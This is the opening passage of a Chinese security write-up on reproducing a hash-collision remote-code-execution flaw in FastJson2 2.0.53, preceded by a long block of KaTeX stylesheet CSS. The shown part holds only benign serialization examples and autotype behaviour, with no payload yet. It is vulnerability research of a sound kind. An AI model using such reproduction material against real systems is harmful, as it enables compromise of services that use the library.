format("woff"),url(fonts/KaTeX_Main-Italic.ttf) format("truetype")}@font-face{font-family:KaTeX_Main;font-style:normal;font-weight:400;src:url(fonts/KaTeX_Main-Regular.woff2) format("woff2"),url(fonts/KaTeX_Main-Regular.woff) format("woff"),url(fonts/KaTeX_Main-Regular.ttf) format("truetype")}@font-face{font-family:KaTeX_Math;font-style:italic;font-weight:700;src:url(fonts/KaTeX_Math-BoldItalic.woff2) format("woff2"),url(fonts/KaTeX_Math-BoldItalic.woff) format("woff"),url(fonts/KaTeX_Math-BoldItalic.ttf) format("truetype")}@font-face{font-family:KaTeX_Math;font-style:italic;font-weight:400;src:url(fonts/KaTeX_Math-Italic.woff2) format("woff2"),url(fonts/KaTeX_Math-Italic.woff) format("woff"),url(fonts/KaTeX_Math-Italic.ttf) format("truetype")}@font-face{font-family:"KaTeX_SansSerif";font-style:normal;font-weight:700;src:url(fonts/KaTeX_SansSerif-Bold.woff2) format("woff2"),url(fonts/KaTeX_SansSerif-Bold.woff) format("woff"),url(fonts/KaTeX_SansSerif-Bold.ttf) format("truetype")}@font-face{font-family:"KaTeX_SansSerif";font-style:italic;font-weight:400;src:url(fonts/KaTeX_SansSerif-Italic.woff2) format("woff2"),url(fonts/KaTeX_SansSerif-Italic.woff) format("woff"),url(fonts/KaTeX_SansSerif-Italic.ttf) format("truetype")}@font-face{font-family:"KaTeX_SansSerif";font-style:normal;font-weight:400;src:url(fonts/KaTeX_SansSerif-Regular.woff2) format("woff2"),url(fonts/KaTeX_SansSerif-Regular.woff) format("woff"),url(fonts/KaTeX_SansSerif-Regular.ttf) format("truetype")}@font-face{font-family:KaTeX_Script;font-style:normal;font-weight:400;src:url(fonts/KaTeX_Script-Regular.woff2) format("woff2"),url(fonts/KaTeX_Script-Regular.woff) format("woff"),url(fonts/KaTeX_Script-Regular.ttf) format("truetype")}@font-face{font-family:KaTeX_Size1;font-style:normal;font-weight:400;src:url(fonts/KaTeX_Size1-Regular.woff2) format("woff2"),url(fonts/KaTeX_Size1-Regular.woff) format("woff"),url(fonts/KaTeX_Size1-Regular.ttf) format("truetype")}@font-face{font-family:KaTeX_Size2;font-style:normal;font-weight:400;src:url(fonts/KaTeX_Size2-Regular.woff2) format("woff2"),url(fonts/KaTeX_Size2-Regular.woff) format("woff"),url(fonts/KaTeX_Size2-Regular.ttf) format("truetype")}@font-face{font-family:KaTeX_Size3;font-style:normal;font-weight:400;src:url(fonts/KaTeX_Size3-Regular.woff2) format("woff2"),url(fonts/KaTeX_Size3-Regular.woff) format("woff"),url(fonts/KaTeX_Size3-Regular.ttf) format("truetype")}@font-face{font-family:KaTeX_Size4;font-style:normal;font-weight:400;src:url(fonts/KaTeX_Size4-Regular.woff2) format("woff2"),url(fonts/KaTeX_Size4-Regular.woff) format("woff"),url(fonts/KaTeX_Size4-Regular.ttf) format("truetype")}@font-face{font-family:KaTeX_Typewriter;font-style:normal;font-weight:400;src:url(fonts/KaTeX_Typewriter-Regular.woff2) format("woff2"),url(fonts/KaTeX_Typewriter-Regular.woff) format("woff"),url(fonts/KaTeX_Typewriter-Regular.ttf) format("truetype")}.katex{text-rendering:auto;font:normal 1.21em KaTeX_Main,Times New Roman,serif;line-height:1.2;text-indent:0}.katex *{-ms-high-contrast-adjust:none!important;border-color:currentColor}.katex .katex-version:after{content:"0.16.9"}.katex .katex-mathml{clip:rect(1px,1px,1px,1px);border:0;height:1px;overflow:hidden;padding:0;position:absolute;width:1px}.katex .katex-html>.newline{display:block}.katex .base{position:relative;white-space:nowrap;width:-webkit-min-content;width:-moz-min-content;width:min-content}.katex .base,.katex .strut{display:inline-block}.katex .textbf{font-weight:700}.katex .textit{font-style:italic}.katex .textrm{font-family:KaTeX_Main}.katex .textsf{font-family:KaTeX_SansSerif}.katex .texttt{font-family:KaTeX_Typewriter}.katex .mathnormal{font-family:KaTeX_Math;font-style:italic}.katex .mathit{font-family:KaTeX_Main;font-style:italic}.katex .mathrm{font-style:normal}.katex .mathbf{font-family:KaTeX_Main;font-weight:700}.katex .boldsymbol{font-family:KaTeX_Math;font-style:italic;font-weight:700}.katex .amsrm,.katex .mathbb,.katex .textbb{font-family:KaTeX_AMS}.katex .mathcal{font-family:KaTeX_Caligraphic}.katex .mathfrak,.katex .textfrak{font-family:KaTeX_Fraktur}.katex .mathboldfrak,.katex .textboldfrak{font-family:KaTeX_Fraktur;font-weight:700}.katex .mathtt{font-family:KaTeX_Typewriter}.katex .mathscr,.katex .textscr{font-family:KaTeX_Script}.katex .mathsf,.katex .textsf{font-family:KaTeX_SansSerif}.katex .mathboldsf,.katex .textboldsf{font-family:KaTeX_SansSerif;font-weight:700}.katex .mathitsf,.katex .textitsf{font-family:KaTeX_SansSerif;font-style:italic}.katex .mainrm{font-family:KaTeX_Main;font-style:normal}.katex .vlist-t{border-collapse:collapse;display:inline-table;table-layout:fixed}.katex .vlist-r{display:table-row}.katex .vlist{display:table-cell;position:relative;vertical-align:bottom}.katex .vlist>span{display:block;height:0;position:relative}.katex .vlist>span>span{display:inline-block}.katex .vlist>span>.pstrut{overflow:hidden;width:0}.katex .vlist-t2{margin-right:-2px}.katex .vlist-s{display:table-cell;font-size:1px;min-width:2px;vertical-align:bottom;width:2px}.katex .vbox{align-items:baseline;display:inline-flex;flex-direction:column}.katex .hbox{width:100%}.katex .hbox,.katex .thinbox{display:inline-flex;flex-direction:row}.katex .thinbox{max-width:0;width:0}.katex .msupsub{text-align:left}.katex .mfrac>span>span{text-align:center}.katex .mfrac .frac-line{border-bottom-style:solid;display:inline-block;width:100%}.katex .hdashline,.katex .hline,.katex .mfrac .frac-line,.katex .overline .overline-line,.katex .rule,.katex .underline .underline-line{min-height:1px}.katex .mspace{display:inline-block}.katex .clap,.katex .llap,.katex .rlap{position:relative;width:0}.katex .clap>.inner,.katex .llap>.inner,.katex .rlap>.inner{position:absolute}.katex .clap>.fix,.katex .llap>.fix,.katex .rlap>.fix{display:inline-block}.katex .llap>.inner{right:0}.katex .clap>.inner,.katex .rlap>.inner{left:0}.katex .clap>.inner>span{margin-left:-50%;margin-right:50%}.katex .rule{border:0 solid;display:inline-block;position:relative}.katex .hline,.katex .overline .overline-line,.katex .underline .underline-line{border-bottom-style:solid;display:inline-block;width:100%}.katex .hdashline{border-bottom-style:dashed;display:inline-block;width:100%}.katex .sqrt>.root{margin-left:.27777778em;margin-right:-.55555556em}.katex .fontsize-ensurer.reset-size1.size1,.katex .sizing.reset-size1.size1{font-size:1em}.katex .fontsize-ensurer.reset-size1.size2,.katex .sizing.reset-size1.size2{font-size:1.2em}.katex .fontsize-ensurer.reset-size1.size3,.katex .sizing.reset-size1.size3{font-size:1.4em}.katex .fontsize-ensurer.reset-size1.size4,.katex .sizing.reset-size1.size4{font-size:1.6em}.katex .fontsize-ensurer.reset-size1.size5,.katex .sizing.reset-size1.size5{font-size:1.8em}.katex .fontsize-ensurer.reset-size1.size6,.katex .sizing.reset-size1.size6{font-size:2em}.katex .fontsize-ensurer.reset-size1.size7,.katex .sizing.reset-size1.size7{font-size:2.4em}.katex .fontsize-ensurer.reset-size1.size8,.katex .sizing.reset-size1.size8{font-size:2.88em}.katex .fontsize-ensurer.reset-size1.size9,.katex .sizing.reset-size1.size9{font-size:3.456em}.katex .fontsize-ensurer.reset-size1.size10,.katex .sizing.reset-size1.size10{font-size:4.148em}.katex .fontsize-ensurer.reset-size1.size11,.katex .sizing.reset-size1.size11{font-size:4.976em}.katex .fontsize-ensurer.reset-size2.size1,.katex .sizing.reset-size2.size1{font-size:.83333333em}.katex .fontsize-ensurer.reset-size2.size2,.katex .sizing.reset-size2.size2{font-size:1em}.katex .fontsize-ensurer.reset-size2.size3,.katex .sizing.reset-size2.size3{font-size:1.16666667em}.katex .fontsize-ensurer.reset-size2.size4,.katex .sizing.reset-size2.size4{font-size:1.33333333em}.katex .fontsize-ensurer.reset-size2.size5,.katex .sizing.reset-size2.size5{font-size:1.5em}.katex .fontsize-ensurer.reset-size2.size6,.katex .sizing.reset-size2.size6{font-size:1.66666667em}.katex .fontsize-ensurer.reset-size2.size7,.katex .sizing.reset-size2.size7{font-size:2em}.katex .fontsize-ensurer.reset-size2.size8,.katex .sizing.reset-size2.size8{font-size:2.4em}.katex .fontsize-ensurer.reset-size2.size9,.katex .sizing.reset-size2.size9{font-size:2.88em}.katex .fontsize-ensurer.reset-size2.size10,.katex .sizing.reset-size2.size10{font-size:3.45666667em}.katex .fontsize-ensurer.reset-size2.size11,.katex .sizing.reset-size2.size11{font-size:4.14666667em}.katex .fontsize-ensurer.reset-size3.size1,.katex .sizing.reset-size3.size1{font-size:.71428571em}.katex .fontsize-ensurer.reset-size3.size2,.katex .sizing.reset-size3.size2{font-size:.85714286em}.katex .fontsize-ensurer.reset-size3.size3,.katex .sizing.reset-size3.size3{font-size:1em}.katex .fontsize-ensurer.reset-size3.size4,.katex .sizing.reset-size3.size4{font-size:1.14285714em}.katex .fontsize-ensurer.reset-size3.size5,.katex .sizing.reset-size3.size5{font-size:1.28571429em}.katex .fontsize-ensurer.reset-size3.size6,.katex .sizing.reset-size3.size6{font-size:1.42857143em}.katex .fontsize-ensurer.reset-size3.size7,.katex .sizing.reset-size3.size7{font-size:1.71428571em}.katex .fontsize-ensurer.reset-size3.size8,.katex .sizing.reset-size3.size8{font-size:2.05714286em}.katex .fontsize-ensurer.reset-size3.size9,.katex .sizing.reset-size3.size9{font-size:2.46857143em}.katex .fontsize-ensurer.reset-size3.size10,.katex .sizing.reset-size3.size10{font-size:2.96285714em}.katex .fontsize-ensurer.reset-size3.size11,.katex .sizing.reset-size3.size11{font-size:3.55428571em}.katex .fontsize-ensurer.reset-size4.size1,.katex .sizing.reset-size4.size1{font-size:.625em}.katex .fontsize-ensurer.reset-size4.size2,.katex .sizing.reset-size4.size2{font-size:.75em}.katex .fontsize-ensurer.reset-size4.size3,.katex .sizing.reset-size4.size3{font-size:.875em}.katex .fontsize-ensurer.reset-size4.size4,.katex .sizing.reset-size4.size4{font-size:1em}.katex .fontsize-ensurer.reset-size4.size5,.katex .sizing.reset-size4.size5{font-size:1.125em}.katex .fontsize-ensurer.reset-size4.size6,.katex .sizing.reset-size4.size6{font-size:1.25em}.katex .fontsize-ensurer.reset-size4.size7,.katex .sizing.reset-size4.size7{font-size:1.5em}.katex .fontsize-ensurer.reset-size4.size8,.katex .sizing.reset-size4.size8{font-size:1.8em}.katex .fontsize-ensurer.reset-size4.size9,.katex .sizing.reset-size4.size9{font-size:2.16em}.katex .fontsize-ensurer.reset-size4.size10,.katex .sizing.reset-size4.size10{font-size:2.5925em}.katex .fontsize-ensurer.reset-size4.size11,.katex .sizing.reset-size4.size11{font-size:3.11em}.katex .fontsize-ensurer.reset-size5.size1,.katex .sizing.reset-size5.size1{font-size:.55555556em}.katex .fontsize-ensurer.reset-size5.size2,.katex .sizing.reset-size5.size2{font-size:.66666667em}.katex .fontsize-ensurer.reset-size5.size3,.katex .sizing.reset-size5.size3{font-size:.77777778em}.katex .fontsize-ensurer.reset-size5.size4,.katex .sizing.reset-size5.size4{font-size:.88888889em}.katex .fontsize-ensurer.reset-size5.size5,.katex .sizing.reset-size5.size5{font-size:1em}.katex .fontsize-ensurer.reset-size5.size6,.katex .sizing.reset-size5.size6{font-size:1.11111111em}.katex .fontsize-ensurer.reset-size5.size7,.katex .sizing.reset-size5.size7{font-size:1.33333333em}.katex .fontsize-ensurer.reset-size5.size8,.katex .sizing.reset-size5.size8{font-size:1.6em}.katex .fontsize-ensurer.reset-size5.size9,.katex .sizing.reset-size5.size9{font-size:1.92em}.katex .fontsize-ensurer.reset-size5.size10,.katex .sizing.reset-size5.size10{font-size:2.30444444em}.katex .fontsize-ensurer.reset-size5.size11,.katex .sizing.reset-size5.size11{font-size:2.76444444em}.katex .fontsize-ensurer.reset-size6.size1,.katex .sizing.reset-size6.size1{font-size:.5em}.katex .fontsize-ensurer.reset-size6.size2,.katex .sizing.reset-size6.size2{font-size:.6em}.katex .fontsize-ensurer.reset-size6.size3,.katex .sizing.reset-size6.size3{font-size:.7em}.katex .fontsize-ensurer.reset-size6.size4,.katex .sizing.reset-size6.size4{font-size:.8em}.katex .fontsize-ensurer.reset-size6.size5,.katex .sizing.reset-size6.size5{font-size:.9em}.katex .fontsize-ensurer.reset-size6.size6,.katex .sizing.reset-size6.size6{font-size:1em}.katex .fontsize-ensurer.reset-size6.size7,.katex .sizing.reset-size6.size7{font-size:1.2em}.katex .fontsize-ensurer.reset-size6.size8,.katex .sizing.reset-size6.size8{font-size:1.44em}.katex .fontsize-ensurer.reset-size6.size9,.katex .sizing.reset-size6.size9{font-size:1.728em}.katex .fontsize-ensurer.reset-size6.size10,.katex .sizing.reset-size6.size10{font-size:2.074em}.katex .fontsize-ensurer.reset-size6.size11,.katex .sizing.reset-size6.size11{font-size:2.488em}.katex .fontsize-ensurer.reset-size7.size1,.katex .sizing.reset-size7.size1{font-size:.41666667em}.katex .fontsize-ensurer.reset-size7.size2,.katex .sizing.reset-size7.size2{font-size:.5em}.katex .fontsize-ensurer.reset-size7.size3,.katex .sizing.reset-size7.size3{font-size:.58333333em}.katex .fontsize-ensurer.reset-size7.size4,.katex .sizing.reset-size7.size4{font-size:.66666667em}.katex .fontsize-ensurer.reset-size7.size5,.katex .sizing.reset-size7.size5{font-size:.75em}.katex .fontsize-ensurer.reset-size7.size6,.katex .sizing.reset-size7.size6{font-size:.83333333em}.katex .fontsize-ensurer.reset-size7.size7,.katex .sizing.reset-size7.size7{font-size:1em}.katex .fontsize-ensurer.reset-size7.size8,.katex .sizing.reset-size7.size8{font-size:1.2em}.katex .fontsize-ensurer.reset-size7.size9,.katex .sizing.reset-size7.size9{font-size:1.44em}.katex .fontsize-ensurer.reset-size7.size10,.katex .sizing.reset-size7.size10{font-size:1.72833333em}.katex .fontsize-ensurer.reset-size7.size11,.katex .sizing.reset-size7.size11{font-size:2.07333333em}.katex .fontsize-ensurer.reset-size8.size1,.katex .sizing.reset-size8.size1{font-size:.34722222em}.katex .fontsize-ensurer.reset-size8.size2,.katex .sizing.reset-size8.size2{font-size:.41666667em}.katex .fontsize-ensurer.reset-size8.size3,.katex .sizing.reset-size8.size3{font-size:.48611111em}.katex .fontsize-ensurer.reset-size8.size4,.katex .sizing.reset-size8.size4{font-size:.55555556em}.katex .fontsize-ensurer.reset-size8.size5,.katex .sizing.reset-size8.size5{font-size:.625em}.katex .fontsize-ensurer.reset-size8.size6,.katex .sizing.reset-size8.size6{font-size:.69444444em}.katex .fontsize-ensurer.reset-size8.size7,.katex .sizing.reset-size8.size7{font-size:.83333333em}.katex .fontsize-ensurer.reset-size8.size8,.katex .sizing.reset-size8.size8{font-size:1em}.katex .fontsize-ensurer.reset-size8.size9,.katex .sizing.reset-size8.size9{font-size:1.2em}.katex .fontsize-ensurer.reset-size8.size10,.katex .sizing.reset-size8.size10{font-size:1.44027778em}.katex .fontsize-ensurer.reset-size8.size11,.katex .sizing.reset-size8.size11{font-size:1.72777778em}.katex .fontsize-ensurer.reset-size9.size1,.katex .sizing.reset-size9.size1{font-size:.28935185em}.katex .fontsize-ensurer.reset-size9.size2,.katex .sizing.reset-size9.size2{font-size:.34722222em}.katex .fontsize-ensurer.reset-size9.size3,.katex .sizing.reset-size9.size3{font-size:.40509259em}.katex .fontsize-ensurer.reset-size9.size4,.katex .sizing.reset-size9.size4{font-size:.46296296em}.katex .fontsize-ensurer.reset-size9.size5,.katex .sizing.reset-size9.size5{font-size:.52083333em}.katex .fontsize-ensurer.reset-size9.size6,.katex .sizing.reset-size9.size6{font-size:.5787037em}.katex .fontsize-ensurer.reset-size9.size7,.katex .sizing.reset-size9.size7{font-size:.69444444em}.katex .fontsize-ensurer.reset-size9.size8,.katex .sizing.reset-size9.size8{font-size:.83333333em}.katex .fontsize-ensurer.reset-size9.size9,.katex .sizing.reset-size9.size9{font-size:1em}.katex .fontsize-ensurer.reset-size9.size10,.katex .sizing.reset-size9.size10{font-size:1.20023148em}.katex .fontsize-ensurer.reset-size9.size11,.katex .sizing.reset-size9.size11{font-size:1.43981481em}.katex .fontsize-ensurer.reset-size10.size1,.katex .sizing.reset-size10.size1{font-size:.24108004em}.katex .fontsize-ensurer.reset-size10.size2,.katex .sizing.reset-size10.size2{font-size:.28929605em}.katex .fontsize-ensurer.reset-size10.size3,.katex .sizing.reset-size10.size3{font-size:.33751205em}.katex .fontsize-ensurer.reset-size10.size4,.katex .sizing.reset-size10.size4{font-size:.38572806em}.katex .fontsize-ensurer.reset-size10.size5,.katex .sizing.reset-size10.size5{font-size:.43394407em}.katex .fontsize-ensurer.reset-size10.size6,.katex .sizing.reset-size10.size6{font-size:.48216008em}.katex .fontsize-ensurer.reset-size10.size7,.katex .sizing.reset-size10.size7{font-size:.57859209em}.katex .fontsize-ensurer.reset-size10.size8,.katex .sizing.reset-size10.size8{font-size:.69431051em}.katex .fontsize-ensurer.reset-size10.size9,.katex .sizing.reset-size10.size9{font-size:.83317261em}.katex .fontsize-ensurer.reset-size10.size10,.katex .sizing.reset-size10.size10{font-size:1em}.katex .fontsize-ensurer.reset-size10.size11,.katex .sizing.reset-size10.size11{font-size:1.19961427em}.katex .fontsize-ensurer.reset-size11.size1,.katex .sizing.reset-size11.size1{font-size:.20096463em}.katex .fontsize-ensurer.reset-size11.size2,.katex .sizing.reset-size11.size2{font-size:.24115756em}.katex .fontsize-ensurer.reset-size11.size3,.katex .sizing.reset-size11.size3{font-size:.28135048em}.katex .fontsize-ensurer.reset-size11.size4,.katex .sizing.reset-size11.size4{font-size:.32154341em}.katex .fontsize-ensurer.reset-size11.size5,.katex .sizing.reset-size11.size5{font-size:.36173633em}.katex .fontsize-ensurer.reset-size11.size6,.katex .sizing.reset-size11.size6{font-size:.40192926em}.katex .fontsize-ensurer.reset-size11.size7,.katex .sizing.reset-size11.size7{font-size:.48231511em}.katex .fontsize-ensurer.reset-size11.size8,.katex .sizing.reset-size11.size8{font-size:.57877814em}.katex .fontsize-ensurer.reset-size11.size9,.katex .sizing.reset-size11.size9{font-size:.69453376em}.katex .fontsize-ensurer.reset-size11.size10,.katex .sizing.reset-size11.size10{font-size:.83360129em}.katex .fontsize-ensurer.reset-size11.size11,.katex .sizing.reset-size11.size11{font-size:1em}.katex .delimsizing.size1{font-family:KaTeX_Size1}.katex .delimsizing.size2{font-family:KaTeX_Size2}.katex .delimsizing.size3{font-family:KaTeX_Size3}.katex .delimsizing.size4{font-family:KaTeX_Size4}.katex .delimsizing.mult .delim-size1>span{font-family:KaTeX_Size1}.katex .delimsizing.mult .delim-size4>span{font-family:KaTeX_Size4}.katex .nulldelimiter{display:inline-block;width:.12em}.katex .delimcenter,.katex .op-symbol{position:relative}.katex .op-symbol.small-op{font-family:KaTeX_Size1}.katex .op-symbol.large-op{font-family:KaTeX_Size2}.katex .accent>.vlist-t,.katex .op-limits>.vlist-t{text-align:center}.katex .accent .accent-body{position:relative}.katex .accent .accent-body:not(.accent-full){width:0}.katex .overlay{display:block}.katex .mtable .vertical-separator{display:inline-block;min-width:1px}.katex .mtable .arraycolsep{display:inline-block}.katex .mtable .col-align-c>.vlist-t{text-align:center}.katex .mtable .col-align-l>.vlist-t{text-align:left}.katex .mtable .col-align-r>.vlist-t{text-align:right}.katex .svg-align{text-align:left}.katex svg{fill:currentColor;stroke:currentColor;fill-rule:nonzero;fill-opacity:1;stroke-width:1;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;display:block;height:inherit;position:absolute;width:100%}.katex svg path{stroke:none}.katex img{border-style:none;max-height:none;max-width:none;min-height:0;min-width:0}.katex .stretchy{display:block;overflow:hidden;position:relative;width:100%}.katex .stretchy:after,.katex .stretchy:before{content:""}.katex .hide-tail{overflow:hidden;position:relative;width:100%}.katex .halfarrow-left{left:0;overflow:hidden;position:absolute;width:50.2%}.katex .halfarrow-right{overflow:hidden;position:absolute;right:0;width:50.2%}.katex .brace-left{left:0;overflow:hidden;position:absolute;width:25.1%}.katex .brace-center{left:25%;overflow:hidden;position:absolute;width:50%}.katex .brace-right{overflow:hidden;position:absolute;right:0;width:25.1%}.katex .x-arrow-pad{padding:0 .5em}.katex .cd-arrow-pad{padding:0 .55556em 0 .27778em}.katex .mover,.katex .munder,.katex .x-arrow{text-align:center}.katex .boxpad{padding:0 .3em}.katex .fbox,.katex .fcolorbox{border:.04em solid;box-sizing:border-box}.katex .cancel-pad{padding:0 .2em}.katex .cancel-lap{margin-left:-.2em;margin-right:-.2em}.katex .sout{border-bottom-style:solid;border-bottom-width:.08em}.katex .angl{border-right:.049em solid;border-top:.049em solid;box-sizing:border-box;margin-right:.03889em}.katex .anglpad{padding:0 .03889em}.katex .eqn-num:before{content:"(" counter(katexEqnNo) ")";counter-increment:katexEqnNo}.katex .mml-eqn-num:before{content:"(" counter(mmlEqnNo) ")";counter-increment:mmlEqnNo}.katex .mtr-glue{width:50%}.katex .cd-vert-arrow{display:inline-block;position:relative}.katex .cd-label-left{display:inline-block;position:absolute;right:calc(50% + .3em);text-align:left}.katex .cd-label-right{display:inline-block;left:calc(50% + .3em);position:absolute;text-align:right}.katex-display{display:block;margin:1em 0;text-align:center}.katex-display>.katex{display:block;text-align:center;white-space:nowrap}.katex-display>.katex>.katex-html{display:block;position:relative}.katex-display>.katex>.katex-html>.tag{position:absolute;right:0}.katex-display.leqno>.katex>.katex-html>.tag{left:0;right:auto}.katex-display.fleqn>.katex{padding-left:2em;text-align:left}body{counter-reset:katexEqnNo mmlEqnNo}
|
||
</style>
|
||
|
||
<style>
|
||
body {
|
||
margin: 0;
|
||
font-family: -apple-system, BlinkMacSystemFont, Segoe UI, Helvetica, Arial, sans-serif;
|
||
background: #f6f8fa;
|
||
}
|
||
|
||
.toolbar {
|
||
position: sticky;
|
||
top: 0;
|
||
background: white;
|
||
border-bottom: 1px solid #ddd;
|
||
padding: 10px;
|
||
display: flex;
|
||
gap: 10px;
|
||
align-items: center;
|
||
z-index: 10;
|
||
}
|
||
|
||
button {
|
||
padding: 6px 12px;
|
||
border: 1px solid #ddd;
|
||
background: white;
|
||
cursor: pointer;
|
||
border-radius: 6px;
|
||
}
|
||
|
||
button:hover { background: #f3f3f3; }
|
||
|
||
#editor {
|
||
width: 100%;
|
||
height: 220px;
|
||
font-family: monospace;
|
||
padding: 10px;
|
||
box-sizing: border-box;
|
||
border: 1px solid #ddd;
|
||
}
|
||
|
||
.container {
|
||
max-width: 1100px;
|
||
margin: 0 auto;
|
||
background: white;
|
||
padding: 20px;
|
||
}
|
||
|
||
.graphviz {
|
||
text-align: center;
|
||
margin: 16px 0;
|
||
overflow: auto;
|
||
border: 1px solid #eee;
|
||
border-radius: 8px;
|
||
padding: 8px;
|
||
min-height: 40px;
|
||
}
|
||
|
||
.mermaid {
|
||
text-align: center;
|
||
margin: 16px 0;
|
||
}
|
||
|
||
svg {
|
||
max-width: 100%;
|
||
height: auto;
|
||
}
|
||
</style>
|
||
</head>
|
||
<body>
|
||
|
||
|
||
|
||
<div class="container">
|
||
|
||
|
||
<div id="preview" class="markdown-body"><h1>FastJson2 Hash 碰撞 RCE 分析与复现</h1>
|
||
<blockquote>
|
||
<p>来源:https://xz.aliyun.com/news/92608</p>
|
||
</blockquote>
|
||
<h1>前置说明</h1>
|
||
<p>参考: <a href="https://mp.weixin.qq.com/s/LJaul1jNjK9pXRAkoUiMEA">https://mp.weixin.qq.com/s/LJaul1jNjK9pXRAkoUiMEA</a>, 来跟进一下漏洞原理.</p>
|
||
<p>测试使用的依赖:</p>
|
||
<pre><code><span class="hljs-tag"><<span class="hljs-name">dependencies</span>></span>
|
||
<span class="hljs-comment"><!-- fastjson2 核心 --></span>
|
||
<span class="hljs-tag"><<span class="hljs-name">dependency</span>></span>
|
||
<span class="hljs-tag"><<span class="hljs-name">groupId</span>></span>com.alibaba.fastjson2<span class="hljs-tag"></<span class="hljs-name">groupId</span>></span>
|
||
<span class="hljs-tag"><<span class="hljs-name">artifactId</span>></span>fastjson2<span class="hljs-tag"></<span class="hljs-name">artifactId</span>></span>
|
||
<span class="hljs-tag"><<span class="hljs-name">version</span>></span>2.0.53<span class="hljs-tag"></<span class="hljs-name">version</span>></span>
|
||
<span class="hljs-tag"></<span class="hljs-name">dependency</span>></span>
|
||
<span class="hljs-tag"></<span class="hljs-name">dependencies</span>></span>
|
||
</code></pre><h1>默认场景</h1>
|
||
<p>总结一下 FastJson2 下的 autotype 如何使用, 首先是指明第二个参数为一个 JavaBean 的场景, 传参不使用 autotype:</p>
|
||
<pre><code>// ────────────────────────────────────────────────────────────
|
||
// <span class="hljs-number">1.</span> 基础反序列化: 把 <span class="hljs-type">JSON</span> 字符串解析成 Java 对象
|
||
// ────────────────────────────────────────────────────────────
|
||
String <span class="hljs-type">json</span> = "{\"<span class="hljs-type">name</span>\":\"<span class="hljs-keyword">admin</span>\",\"age\":28,\"email\":\"<span class="hljs-keyword">admin</span>@lab.<span class="hljs-keyword">local</span>\"}";
|
||
<span class="hljs-keyword">User</span> <span class="hljs-keyword">user</span> = <span class="hljs-type">JSON</span>.parseObject(<span class="hljs-type">json</span>, <span class="hljs-keyword">User</span>.<span class="hljs-keyword">class</span>);
|
||
<span class="hljs-keyword">System</span>.<span class="hljs-keyword">out</span>.println("[1] 基础反序列化:");
|
||
<span class="hljs-keyword">System</span>.<span class="hljs-keyword">out</span>.println(" 输入: " + <span class="hljs-type">json</span>);
|
||
<span class="hljs-keyword">System</span>.<span class="hljs-keyword">out</span>.println(" 输出: " + <span class="hljs-keyword">user</span>);
|
||
<span class="hljs-keyword">System</span>.<span class="hljs-keyword">out</span>.println();
|
||
|
||
// ────────────────────────────────────────────────────────────
|
||
// <span class="hljs-number">2.</span> 基础序列化: 把 Java 对象转回 <span class="hljs-type">JSON</span> 字符串
|
||
// ────────────────────────────────────────────────────────────
|
||
String reJson = <span class="hljs-type">JSON</span>.toJSONString(<span class="hljs-keyword">user</span>);
|
||
<span class="hljs-keyword">System</span>.<span class="hljs-keyword">out</span>.println("[2] 基础序列化:");
|
||
<span class="hljs-keyword">System</span>.<span class="hljs-keyword">out</span>.println(" 输入: " + <span class="hljs-keyword">user</span>);
|
||
<span class="hljs-keyword">System</span>.<span class="hljs-keyword">out</span>.println(" 输出: " + reJson);
|
||
<span class="hljs-keyword">System</span>.<span class="hljs-keyword">out</span>.println();
|
||
|
||
<span class="hljs-comment">/*
|
||
[1] 基础反序列化:
|
||
输入: {"name":"admin","age":28,"email":"admin@lab.local"}
|
||
输出: User{name='admin', age=28, email='admin@lab.local'}
|
||
|
||
[2] 基础序列化:
|
||
输入: User{name='admin', age=28, email='admin@lab.local'}
|
||
输出: {"age":28,"email":"admin@lab.local","name":"admin"}
|
||
*/</span>
|
||
</code></pre><p>当然如果使用带 @type 的场景, 如下:</p>
|
||
<pre><code>String jsonWithType = <span class="hljs-string">"{\"</span>@<span class="hljs-keyword">type</span>\<span class="hljs-string">":\"</span>com.heihu577.model.User\<span class="hljs-string">",\"</span>name\<span class="hljs-string">":\"</span>alice\<span class="hljs-string">",\"</span>age\<span class="hljs-string">":25,\"</span>email\<span class="hljs-string">":\"</span>alice@lab.local\<span class="hljs-string">"}"</span>;
|
||
|
||
// 不指定目标类,解析成 JSONObject
|
||
Object obj = JSON.parse(jsonWithType);
|
||
System.<span class="hljs-keyword">out</span>.println(<span class="hljs-string">"[3] 带 @type 的 JSON, 不开启 SupportAutoType:"</span>);
|
||
System.<span class="hljs-keyword">out</span>.println(<span class="hljs-string">" 输入: "</span> + jsonWithType);
|
||
System.<span class="hljs-keyword">out</span>.println(<span class="hljs-string">" 解析结果类型: "</span> + obj.getClass().getName());
|
||
System.<span class="hljs-keyword">out</span>.println(<span class="hljs-string">" 解析结果: "</span> + obj);
|
||
<span class="hljs-keyword">if</span> (obj instanceof JSONObject) {
|
||
JSONObject jo = (JSONObject) obj;
|
||
System.<span class="hljs-keyword">out</span>.println(<span class="hljs-string">" @type 字段值: "</span> + jo.getString(<span class="hljs-string">"@type"</span>));
|
||
System.<span class="hljs-keyword">out</span>.println(<span class="hljs-string">" ↑ @type 被当作普通字段保留了,没有触发类加载"</span>);
|
||
}
|
||
System.<span class="hljs-keyword">out</span>.println();
|
||
/*
|
||
[<span class="hljs-number">3</span>] 带 @<span class="hljs-keyword">type</span> <span class="hljs-type">的 </span>JSON, 不开启 SupportAutoType:
|
||
输入: {<span class="hljs-string">"@type"</span>:<span class="hljs-string">"com.heihu577.model.User"</span>,<span class="hljs-string">"name"</span>:<span class="hljs-string">"alice"</span>,<span class="hljs-string">"age"</span>:<span class="hljs-number">25</span>,<span class="hljs-string">"email"</span>:<span class="hljs-string">"alice@lab.local"</span>}
|
||
解析结果类型: com.alibaba.fastjson2.JSONObject
|
||
解析结果: {<span class="hljs-string">"@type"</span>:<span class="hljs-string">"com.heihu577.model.User"</span>,<span class="hljs-string">"name"</span>:<span class="hljs-string">"alice"</span>,<span class="hljs-string">"age"</span>:<span class="hljs-number">25</span>,<span class="hljs-string">"email"</span>:<span class="hljs-string">"alice@lab.local"</span>}
|
||
@<span class="hljs-keyword">type</span> <span class="hljs-type">字段值: </span>com.heihu577.model.User
|
||
↑ @<span class="hljs-keyword">type</span> <span class="hljs-type">被当作普通字段保留了,没有触发类加载
|
||
</span>*/
|
||
</code></pre><p>默认会反序列化成com.alibaba.fastjson2.JSONObject类对象, 除非第二个参数指明为一个 JavaBean:</p>
|
||
<pre><code>User u2 = JSON.parseObject(jsonWithType, User.class);
|
||
System.<span class="hljs-keyword">out</span>.println(<span class="hljs-string">"[4] 带 @type 的 JSON, 指定目标类 User.class (不开 SupportAutoType):"</span>);
|
||
